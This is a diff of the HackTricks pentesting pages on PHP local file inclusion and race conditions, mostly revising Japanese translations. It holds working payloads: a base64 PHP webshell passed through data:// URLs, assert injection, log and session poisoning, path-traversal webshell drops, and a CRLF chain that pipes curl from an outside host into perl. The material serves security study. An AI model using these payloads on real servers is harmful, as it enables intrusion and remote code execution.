" > payload.php; zip payload.zip payload.php; @@ -328,25 +335,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -このプロトコルは php の設定 **`allow_url_open`** と **`allow_url_include`** によって制限されることに注意してください。 +Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`** ### expect:// -Expect は有効化されている必要があります。以下を使ってコードを実行できます: +Expect を有効にしておく必要があります。次のようにしてコードを実行できます: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -POST parametersにpayloadを指定してください: +payloadをPOSTパラメータで指定してください: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Webアプリケーションがファイル読み込みに`include`のような関数を利用している場合、`.phar`ファイルはPHPコードを実行するために利用できます。 -以下のPHPコードスニペットは`.phar`ファイルの作成方法を示しています: +` .phar` ファイルは、webアプリケーションがファイル読み込みに `include` のような関数を利用している場合に、PHPコードを実行するために利用できます。以下の PHP コードスニペットは、`.phar` ファイルの作成を示しています: ```php addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -`.phar` ファイルをコンパイルするには、次のコマンドを実行します: +`.phar` ファイルをコンパイルするには、次のコマンドを実行してください: ```bash php --define phar.readonly=0 create_path.php ``` -実行すると、`test.phar` というファイルが作成され、Local File Inclusion (LFI) 脆弱性を悪用するために利用される可能性があります。 +実行すると、`test.phar`という名前のファイルが作成され、Local File Inclusion (LFI) の脆弱性を悪用するために利用される可能性があります。 -LFI が内部の PHP コードを実行せず、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、`filesize()` といった関数を通じてファイルの読み取りのみを行う場合、deserialization 脆弱性の悪用を試みることができます。この脆弱性は `phar` プロトコルを使用したファイルの読み取りに関連しています。 +LFI が PHP コードを実行せず、`file_get_contents()`、`fopen()`、`file()`、`file_exists()`、`md5_file()`、`filemtime()`、または `filesize()` といった関数による単なるファイル読み取りのみを行う場合、deserialization の脆弱性を悪用できる可能性があります。この脆弱性は `phar` プロトコルを使ったファイル読み取りに関連しています。 For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: @@ -374,36 +380,36 @@ phar-deserialization.md ### CVE-2024-2961 -It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\ -It was possible to alloc chunks of specific sizes abusing more php filters. +PHP が php filters をサポートする任意のファイル読み取り(**any arbitrary file read from PHP that supports php filters**)を悪用して RCE を得ることが可能でした。詳細は [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +非常に簡単な要約: PHP heap の **3 byte overflow** が悪用され、特定サイズの free chunks のチェーンを **alter the chain of free chunks** することで **write anything in any address** が可能になり、`system` を呼び出すフックが追加されました。\ +さらに、より多くの php filters を悪用して特定サイズのチャンクを alloc することが可能でした。 ### More protocols Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込み(file inclusion 攻撃でどう有用かは不明) -- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムへのアクセス -- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL へのアクセス -- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL へのアクセス +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — メモリまたは一時ファイルに書き込む(file inclusion attack においてどのように有用かは不明) +- [file://](https://www.php.net/manual/en/wrappers.file.php) — ローカルファイルシステムにアクセス +- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL にアクセス +- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL にアクセス - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 圧縮ストリーム -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索(出力可能なものを返さないため、この用途ではあまり有用ではない) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — パターンに一致するパス名を検索する(表示可能なものを返さないので、ここではあまり有用ではない) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイル読み取りには役立たない) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — オーディオストリーム(任意のファイル読み取りには役に立たない) ## LFI via PHP's 'assert' -Local File Inclusion (LFI) のリスクは、文字列内のコードを実行できる 'assert' 関数を扱う場合に特に高くなります。これは、".." のようなディレクトリトラバーサル文字が含まれる入力をチェックしているが適切にサニタイズしていない場合に問題になります。 +Local File Inclusion (LFI) は、文字列内のコードを実行できる 'assert' 関数を扱う際に特に危険性が高くなります。これは、入力に ".." のような directory traversal 文字が含まれているかどうかを検査しているが適切にサニタイズしていない場合に特に問題になります。 For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -これは traversal を防ぐことを目的としているが、意図せず code injection のベクトルを作り出している。ファイル内容を読み取るためにこれを悪用する場合、攻撃者は次のようなものを使うことができる: +これは traversal を防ぐことを目的としていますが、意図せず code injection のベクターを作り出してしまいます。ファイルの内容を読み取るためにこれを悪用するには、攻撃者は次のようなものを使う可能性があります: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -同様に、任意のシステムコマンドを実行するには、次のようなものを使用できます: +同様に、任意のシステムコマンドを実行するには、次のような方法が考えられます: ```plaintext ' and die(system("id")) or ' ``` @@ -412,15 +418,15 @@ It's important to **URL-encode these payloads**. ## PHP Blind Path Traversal > [!WARNING] -> この手法は、**PHP 関数**の**ファイルパス**を**制御**できる場合に関連しますが、当該関数がファイルにアクセスしてもファイルの内容が表示されないケース(例: 単純な **`file()`** の呼び出し)で有効です。 +> この手法は、あなたが**file path**を**control**していて、**PHP function**が**access a file**する(例えば単純な呼び出しの **`file()`** のように)が、そのファイルの内容は表示されないケースに該当します。 In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -要約すると、この手法は **"UCS-4LE" encoding** を使ってファイルの内容を非常に**大きく**し、ファイルを開く**PHP 関数**が**エラー**を引き起こすようにします。 +要約すると、この手法は**"UCS-4LE" encoding**を使用してファイルの内容を非常に**big**にし、ファイルを開く**PHP function**が**error**を発生させるようにします。 -その後、最初の文字をleakするためにフィルタ **`dechunk`** を **base64** や **rot13** と組み合わせて使用し、最後に **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って他の文字を先頭に配置してそれらをleakします。 +その後、最初の文字をleakするためにフィルタ **`dechunk`** を **base64** や **rot13** などと組み合わせて使用し、最後に **convert.iconv.UCS-4.UCS-4LE** と **convert.iconv.UTF16.UTF-16BE** を使って**他の文字を先頭に配置してそれらをleakする**、という流れになります。 -**脆弱である可能性のある関数**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` For the technical details check the mentioned post! @@ -428,20 +434,20 @@ For the technical details check the mentioned post! ### Arbitrary File Write via Path Traversal (Webshell RCE) -ファイルを受け取る/アップロードするサーバー側のコードが、ユーザー制御のデータ(例: filename や URL)を正規化や検証を行わずに宛先パスの構築に使うと、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みを引き起こす可能性があります。ペイロードを web-exposed なディレクトリに配置できれば、通常は webshell を置くことで認証不要の RCE を得られます。 +サーバー側のコードが、アップロードや取り込みされたファイルの保存先パスをユーザー制御のデータ(例: filename や URL)から正規化や検証を行わずに構築すると、`..` セグメントや絶対パスによって意図したディレクトリを抜け出し、任意のファイル書き込みが発生する可能性があります。payload を web-exposed directory の下に置ければ、通常は webshell をドロップすることで未認証の RCE を得られます。 Typical exploitation workflow: -- パス/filename を受け取りディスクにコンテンツを書き込む write primitive(エンドポイントやバックグラウンドワーカー)を特定する(例: message-driven ingestion、XML/JSON コマンドハンドラ、ZIP extractors など)。 -- web-exposed なディレクトリを特定する。一般的な例: -- Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` -- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- 意図した保存ディレクトリから webroot に脱出する traversal パスを作成し、webshell の内容を含める。 -- 配置したペイロードにブラウザでアクセスしてコマンドを実行する。 +- パス/ファイル名を受け取ってディスクにコンテンツを書き込むエンドポイントやバックグラウンドワーカーの write primitive を特定する(例: メッセージ駆動の取り込み、XML/JSON コマンドハンドラ、ZIP extractor など)。 +- web-exposed directories を特定する。一般的な例: + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- 意図されたストレージディレクトリから webroot に抜け出す traversal path を作成し、webshell の内容を含める。 +- ドロップした payload にブラウズしてコマンドを実行する。 -注意: -- 書き込みを行う脆弱なサービスは非HTTPポートで待ち受けている場合がある(例: TCP 4004 の JMF XML listener)。メインのウェブポータル(別ポート)が後であなたのペイロードを配信する。 -- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多い。canonicalisation/allow-listing の欠如が根本的な欠陥です。 +Notes: +- 書き込みを行う脆弱なサービスが非HTTPポートで待ち受けている場合がある(例: TCP 4004 の JMF XML listener)。その後、別のポートのメインの web ポータルがあなたの payload を配信する可能性があります。 +- Java スタックでは、これらのファイル書き込みは単純な `File`/`Paths` の連結で実装されていることが多いです。正規化や allow-listing の欠如が主な欠陥です。 Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -467,10 +473,10 @@ in.transferTo(out);
``` -このクラスのバグを防ぐハードニング: -- パスを正規化し、許可リストのベースディレクトリの配下であることを強制する。 -- `..`、絶対ルート、またはドライブ文字を含むパスはすべて拒否し、生成されたファイル名を優先する。 -- 書き込み処理を低権限アカウントで実行し、書き込み用ディレクトリを配信されるルートから分離する。 +ハードニング(このクラスのバグを防ぐ方法): +- 正規化されたパスを解決し、それが許可リストにあるベースディレクトリの子孫であることを強制する。 +- `..`、絶対ルート、またはドライブ文字を含むパスはすべて拒否する。生成されたファイル名を優先する。 +- 書き込み処理は低権限アカウントで実行し、書き込み用ディレクトリを配信ルートから分離する。 ## Remote File Inclusion @@ -478,15 +484,15 @@ in.transferTo(out); ### Via Apache/Nginx log file -もし Apache や Nginx サーバが include 関数内で **LFIに脆弱**であれば、**`/var/log/apache2/access.log` or `/var/log/nginx/access.log`** にアクセスし、**user agent** または **GET parameter** に **``** のような php shell を書き込み、そのファイルを include してみることができる。 +If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **``** and include that file > [!WARNING] -> シェルに **double quotes を使用する** と **simple quotes** の代わりにダブルクオートが文字列 "_**quote;**_" に変換され、**PHP がエラーを投げ**て**それ以外は実行されません**。 +> Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**. > -> また、**write correctly the payload**(ペイロードを正しく書き込む)ことを必ず確認してください。そうしないとログファイルを読み込むたびに PHP がエラーを起こし、再度試す機会がなくなります。 +> Also, make sure you **write correctly the payload** or PHP will error every time it tries to load the log file and you won't have a second opportunity. -これは他のログでも同様に行えますが、**注意:** ログ内のコードが URL エンコードされている場合があり、Shell が壊れる可能性があります。ヘッダ **authorisation "basic"** は "user:password" を Base64 で含み、ログ内ではデコードされます。PHPShell はこのヘッダ内に挿入できる。\ -その他の可能なログパス: +これは他のログでも同様に行えますが、**注意してください、**ログ内のコードが URL エンコードされている場合があり、これによりシェルが壊れる可能性があります。ヘッダ **authorisation "basic"** は "user:password" を Base64 で含み、ログ内でデコードされます。PHPShell はこのヘッダ内に挿入できます。\ +Other possible log paths: ```python /var/log/apache2/access.log /var/log/apache/access.log @@ -502,31 +508,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin ### メール経由 -**メールを送信する** 内部アカウント (user@localhost) に、あなたのPHPペイロード(例:``)を含め、ユーザーのメールを次のようなパスで include してみる:**`/var/mail/`** または **`/var/spool/mail/`** +**メールを送信**して内部アカウント (user@localhost) に PHP ペイロード(例: ``)を含め、ユーザーのメールを **`/var/mail/`** または **`/var/spool/mail/`** のようなパスで include してみる -### /proc/*/fd/* 経由 +### /proc/\*/fd/\* 経由 -1. 大量のshellをアップロードする(例:100) -2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスのPID(ブルートフォース可能)、$FD = ファイルディスクリプタ(こちらもブルートフォース可能) +1. 多数の shells をアップロードする(例:100) +2. [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) を include する。$PID = プロセスの PID(can be brute forced)、$FD はファイルディスクリプタ(can be brute forced too) ### /proc/self/environ 経由 -ログファイルと同様に、User-Agentにペイロードを入れて送信すると、/proc/self/environ に反映される +ログファイルと同様に、User-Agent にペイロードを送信すると、それが /proc/self/environ ファイル内に反映される ``` GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1 User-Agent: ``` ### アップロード経由 -ファイルをアップロードできる場合は、そのファイルにshell payloadを注入してください(例: ``)。 +ファイルをアップロードできる場合は、そのファイルに shell payload を注入してください (e.g : `` ). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -ファイルを読みやすく保つには、pictures/doc/pdf のメタデータに注入するのが最適です +ファイルを読みやすく保つためには、画像/doc/pdf のメタデータに注入するのが最良です -### ZIP ファイルアップロード経由 +### Zip ファイル経由のアップロード -PHP shell を含む ZIP ファイルをアップロードしてアクセス: +PHP shell を含む圧縮された ZIP ファイルをアップロードし、アクセス: ```python example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php ``` @@ -537,33 +543,33 @@ example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly ``` -PHPでは、これらのセッションは _/var/lib/php5/sess\\_\[PHPSESSID]\_ ファイルに保存されます +PHPではこれらのセッションは_/var/lib/php5/sess\\_\[PHPSESSID]\_ ファイルに保存されます ``` /var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27. user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin"; ``` -クッキーを `` に設定する +cookie を `` に設定する ``` login=1&user=&pass=password&lang=en_us.php ``` -LFI を使用して PHP session file を含める +LFI を使って PHP セッションファイルを含める ``` login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2 ``` ### ssh 経由 -ssh が有効な場合、どのユーザーが使われているかを確認(/proc/self/status & /etc/passwd)し、**\/.ssh/id_rsa** にアクセスを試みる。 +ssh が有効な場合、どのユーザーが使われているかを確認する (/proc/self/status & /etc/passwd) そして **\/.ssh/id_rsa** にアクセスを試みる ### **経由** **vsftpd** _**ログ**_ FTP サーバ vsftpd のログは _**/var/log/vsftpd.log**_ にあります。Local File Inclusion (LFI) の脆弱性が存在し、公開された vsftpd サーバにアクセスできる場合、次の手順を検討できます: 1. ログイン時の username フィールドに PHP ペイロードを注入する。 -2. 注入後、LFI を利用して _**/var/log/vsftpd.log**_ からサーバログを取得する。 +2. 注入後、LFI を利用してサーバログ _**/var/log/vsftpd.log**_ を取得する。 ### php base64 filter 経由 (using base64) -As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64. これを利用してファイル拡張子チェックをバイパスできます:末尾が ".php" で終わる base64 を渡すと、"." を無視して "php" を base64 に付加します。例として以下のペイロード: +As shown in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter just ignore Non-base64.You can use that to bypass the file extension check: if you supply base64 that ends with ".php", and it would just ignore the "." and append "php" to the base64. Here is an example payload: ```url http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php @@ -571,92 +577,97 @@ NOTE: the payload is "" ``` ### php filters 経由(ファイル不要) -This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)は、**php filters を使って任意の内容を出力として生成できる**ことを説明しています。つまり、include に対して **任意の php コードを、ファイルに書き込むことなく生成できる**ということです。 +This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) は **php filters to generate arbitrary content** を使って出力を生成できることを説明しています。つまり、include 用にファイルに書き込むことなく **generate arbitrary php code** を生成できる、ということです。 + {{#ref}} lfi2rce-via-php-filters.md {{#endref}} -### segmentation fault を利用 +### segmentation fault 経由 + +**アップロード**したファイルが `/tmp` に**一時的に**保存され、同じリクエスト内で **segmentation fault** を発生させると、その**一時ファイルが削除されず**に残るため、探すことができます。 -ファイルを **アップロード** すると `/tmp` に **一時ファイル** として保存されます。同じリクエスト内で **segmentation fault** を発生させると、**一時ファイルが削除されず** 残るので、それを探すことができます。 {{#ref}} lfi2rce-via-segmentation-fault.md {{#endref}} -### Nginx の temp file storage を利用 +### Nginx temp file storage 経由 + +もし **Local File Inclusion** を見つけ、PHP の前で **Nginx** が動作している場合、次の手法で **RCE** を得られる可能性があります: -もし **Local File Inclusion** を見つけ、**Nginx** が PHP の前段にある場合、次の方法で RCE を得られる可能性があります: {{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}} -### PHP_SESSION_UPLOAD_PROGRESS を利用 +### PHP_SESSION_UPLOAD_PROGRESS 経由 + +セッションを持っていなくても、`session.auto_start` が `Off` の場合でも **Local File Inclusion** が見つかれば、multipart POST データで **`PHP_SESSION_UPLOAD_PROGRESS`** を渡すと PHP が自動的にセッションを有効にします。これを悪用して **RCE** を得ることができます: -もし **Local File Inclusion** を発見していて、かつ **セッションを持っていない**(`session.auto_start` が `Off`)場合でも、**multipart POST** データに **`PHP_SESSION_UPLOAD_PROGRESS`** を含めると、PHP が自動的にセッションを有効にします。これを悪用して RCE を得ることができます: {{#ref}} via-php_session_upload_progress.md {{#endref}} -### Windows の temp file uploads を利用 +### Windows での一時ファイルアップロード経由 + +もし **Local File Inclusion** を見つけ、サーバが **Windows** 上で動作している場合、RCE を得られる可能性があります: -もし **Local File Inclusion** を見つけ、サーバーが **Windows** 上で動作している場合、RCE を得られる可能性があります: {{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}} -### `pearcmd.php` + URL args を利用 +### `pearcmd.php` + URL args 経由 -As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), スクリプト `/usr/local/lib/phppearcmd.php` は php docker イメージにデフォルトで存在します。さらに、URL パラメータに `=` がない場合は引数として扱う旨が示されているため、URL 経由でスクリプトに引数を渡すことが可能です。See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/). +As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)、スクリプト `/usr/local/lib/phppearcmd.php` は php docker images にデフォルトで存在します。さらに、URL パラメータに `=` が無い場合は引数として扱われると示されているため、URL 経由でスクリプトに引数を渡すことが可能です。詳しくは [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) と [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) を参照してください。 -以下のリクエストは、内容 `` を持つファイルを `/tmp/hello.php` に作成します: +The following request create a file in `/tmp/hello.php` with the content ``: ```bash GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 ``` -以下はCRLF vulnを悪用してRCEを取得する(出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +以下はCRLF vulnを悪用してRCEを取得する手法です(出典: [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): ``` http://server/cgi-bin/redir.cgi?r=http:// %0d%0a Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a %0d%0a ``` -### Via phpinfo() (file_uploads = on) +### phpinfo() 経由 (file_uploads = on) -もし **Local File Inclusion** を見つけ、かつ **phpinfo()** を表示するファイルで file_uploads = on であれば、RCE を得られる可能性があります: +もし **Local File Inclusion** を発見し、**phpinfo()** を表示しているファイルで file_uploads = on になっている場合、RCE を得られます: {{#ref}} lfi2rce-via-phpinfo.md {{#endref}} -### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure +### compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure 経由 -もし **Local File Inclusion** を発見し、テンポラリファイルのパスを **can exfiltrate the path** できるが、**server** が含めるファイルに PHP マークがあるか **checking** している場合、次の **Race Condition** でその検査を **bypass** してみてください: +もし **Local File Inclusion** を見つけ、テンポラリファイルのパスを **exfiltrate** できるが、**server** が含めるファイルに PHP マークがあるかを **checking** している場合は、この **Race Condition** でそのチェックを **bypass** できるかもしれません: {{#ref}} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {{#endref}} -### Via eternal waiting + bruteforce +### eternal waiting + bruteforce を使って -もし LFI を悪用して **upload temporary files** し、**server** が PHP 実行を **hang** させることができれば、数時間にわたり **brute force filenames during hours** してテンポラリファイルを見つけることができます: +もし LFI を悪用して一時ファイルを **upload** し、サーバー側で PHP 実行を **hang** させられるなら、何時間もかけてファイル名を **brute force** してテンポラリファイルを見つけることができます: {{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}} -### To Fatal Error +### Fatal Error を引き起こす -もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを include するとエラーになります。(そのエラーを発生させるには同じファイルを2回 include する必要があります) +もし `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` のいずれかを include すると(同じものを 2 回 include する必要があります)、そのエラーが発生します。 -**どう役立つかは分かりませんが、可能性はあります。**\ -_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ +**どう役立つかはわかりませんが、役に立つかもしれません。**\ +_たとえ PHP Fatal Error を引き起こしても、アップロードされた PHP の一時ファイルは削除されます。_
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md index 998251cbb..3764c3b13 100644 --- a/src/pentesting-web/race-condition.md +++ b/src/pentesting-web/race-condition.md @@ -3,56 +3,56 @@ {{#include ../banners/hacktricks-training.md}} > [!WARNING] -> この手法を深く理解するには、元のレポートを[https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)で確認してください +> この手法を深く理解するには、オリジナルのレポート [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) を参照してください。 ## Race Condition 攻撃の強化 -race condition を利用する際の主な障害は、複数のリクエストがほぼ同時に処理されるようにすることで、処理時間の差が**非常に小さいこと ― 理想的には1ms未満**であることを保証する点です。 +Race Condition を悪用する際の主な障害は、複数のリクエストが「ほぼ同時」に処理されることを確実にすることです。処理時間の差が**非常に小さいこと—理想的には1ms未満**である必要があります。 -ここではリクエストを同期させるためのいくつかの手法を紹介します: +ここではリクエスト同期のためのいくつかの手法を紹介します: -#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization +#### HTTP/2 Single-Packet Attack 対 HTTP/1.1 Last-Byte Synchronization -- **HTTP/2**: 単一のTCP接続上で2つのリクエストを送ることができ、ネットワークのジッタの影響を低減します。ただし、サーバー側の差異により、常にrace conditionを再現するには2つのリクエストだけでは不十分なことがあります。 -- **HTTP/1.1 'Last-Byte Sync'**: 20〜30のリクエストのほとんどの部分を事前送信し、小さな断片だけを保留にしておき、それらを同時に送信することで、サーバー側で同時到着を実現します。 +- **HTTP/2**: 単一のTCP接続上で2つのリクエストを送れるため、ネットワークジッタの影響を減らせます。しかし、サーバー側の挙動の違いにより、常に成功するrace conditionのエクスプロイトには2回のリクエストだけでは不十分な場合があります。 +- **HTTP/1.1 'Last-Byte Sync'**: 20〜30件のリクエストの大部分を事前に送信し、小さな断片を保留しておき、それらをまとめて送ることでサーバーへの同時到達を実現します。 -**Preparation for Last-Byte Sync** involves: +**Preparation for Last-Byte Sync** には以下が含まれます: -1. ヘッダと本文データから最後のバイトを除いた部分を送信し、ストリームを終了しない。 +1. ヘッダとボディデータを最終バイトを除いて送信し、ストリームを終了しない。 2. 初回送信後に100ms待機する。 -3. 最終フレームのバッチ化のために TCP_NODELAY を無効にして Nagle's algorithm を利用する。 -4. 接続をウォームアップするために ping を送る。 +3. 最終フレームをバッチ処理するために、TCP_NODELAYを無効にしてNagleのアルゴリズムを利用する。 +4. 接続をウォームアップするためにpingを送る。 -保留していたフレームをその後送信すると、それらが単一パケットで到着するはずで、Wireshark で確認できます。この手法は通常 RC 攻撃に関与しない static files には適用できません。 +保留していたフレームを続けて送信すると、それらが1つのパケットで到着するはずで、Wiresharkで確認できます。この方法は静的ファイルには適用されません。静的ファイルは通常RC攻撃には関与しないためです。 ### サーバーアーキテクチャへの適応 -ターゲットのアーキテクチャを理解することが重要です。Front-end servers はリクエストを異なる経路でルーティングする可能性があり、タイミングに影響を与えます。意味のないリクエストでサーバー側の接続を事前にウォームアップしておくことで、リクエストのタイミングが均一化される場合があります。 +ターゲットのアーキテクチャを理解することが重要です。フロントエンドのサーバーはリクエストを異なる経路でルーティングすることがあり、タイミングに影響を与えます。無害なリクエストによるサーバー側の事前接続ウォームアップは、リクエストのタイミングを均一化する可能性があります。 -#### Session-Based Locking の扱い +#### セッションベースのロック処理への対処 -PHP の session handler のようなフレームワークは、セッション単位でリクエストをシリアライズするため、脆弱性が隠れることがあります。各リクエストで異なる session tokens を使うことでこの問題を回避できます。 +PHPのsession handlerのようなフレームワークはセッション単位でリクエストを直列化するため、脆弱性を覆い隠す可能性があります。各リクエストに異なるセッショントークンを使うことでこの問題を回避できます。 -#### レートやリソース制限の克服 +#### レートまたはリソース制限の回避 -接続のウォームアップが効果を発揮しない場合、ダミーリクエストを大量に送って web servers のレートやリソース制限による遅延を意図的に誘発させることで、single-packet attack を実行しやすいサーバー側の遅延を生み出せる場合があります。 +接続ウォームアップが効果を示さない場合、ダミーリクエストを大量に送ってwebサーバーのレートやリソース制限による遅延を意図的に引き起こすことで、single-packet attack を助け、race conditions を誘発しやすくすることがあります。 -## Attack Examples +## 攻撃例 -- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down: +- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: リクエストを **Turbo intruder** に送ることができます(`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`)。リクエスト内でブルートフォースしたい値を **`%s`** に設定できます。例: `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`。その後、ドロップダウンから **`examples/race-single-packer-attack.py`** を選択します:
